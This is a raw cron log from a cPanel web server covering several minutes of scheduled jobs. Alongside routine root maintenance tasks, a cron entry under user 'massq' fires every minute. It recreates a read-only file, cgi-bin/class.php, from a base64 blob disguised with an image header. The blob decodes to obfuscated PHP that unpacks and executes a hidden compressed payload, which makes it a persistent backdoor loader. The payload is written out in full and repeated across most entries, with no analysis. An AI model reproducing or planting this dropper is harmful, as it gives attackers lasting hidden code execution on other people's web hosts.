Sep  4 22:27:01 server CROND[21240]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 22:27:01 server CROND[21241]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:27:01 server CROND[21242]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 22:27:01 server CROND[21243]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:28:01 server CROND[21645]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 22:28:01 server CROND[21646]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:28:01 server CROND[21647]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:29:01 server CROND[22133]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:29:01 server CROND[22134]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 22:29:01 server CROND[22135]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:30:01 server CROND[22654]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 22:30:01 server CROND[22655]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 22:30:01 server CROND[22656]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 22:30:01 server CROND[22657]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 22:30:01 server CROND[22661]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 22:30:01 server CROND[22658]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:30:01 server CROND[22660]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 22:30:01 server CROND[22659]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:31:01 server CROND[23691]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:31:01 server CROND[23692]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 22:31:01 server CROND[23693]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:32:01 server CROND[24088]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:32:01 server CROND[24089]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 22:32:01 server CROND[24090]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:33:01 server CROND[24476]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 22:33:01 server CROND[24477]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:33:01 server CROND[24478]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:34:01 server CROND[24952]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:34:01 server CROND[24953]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 22:34:01 server CROND[24954]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:35:01 server CROND[25345]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 22:35:01 server CROND[25346]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:35:01 server CROND[25349]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 22:35:01 server CROND[25350]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 22:35:01 server CROND[25353]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  4 22:35:01 server CROND[25354]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 22:35:01 server CROND[25355]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 22:35:01 server CROND[25356]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 22:35:01 server CROND[25352]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:36:01 server CROND[26189]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 22:36:01 server CROND[26190]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:36:01 server CROND[26191]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:37:01 server CROND[26575]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:37:01 server CROND[26576]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:37:01 server CROND[26577]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 22:38:01 server CROND[26963]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:38:01 server CROND[26962]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 22:38:01 server CROND[26964]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:39:01 server CROND[27439]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 22:39:01 server CROND[27440]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
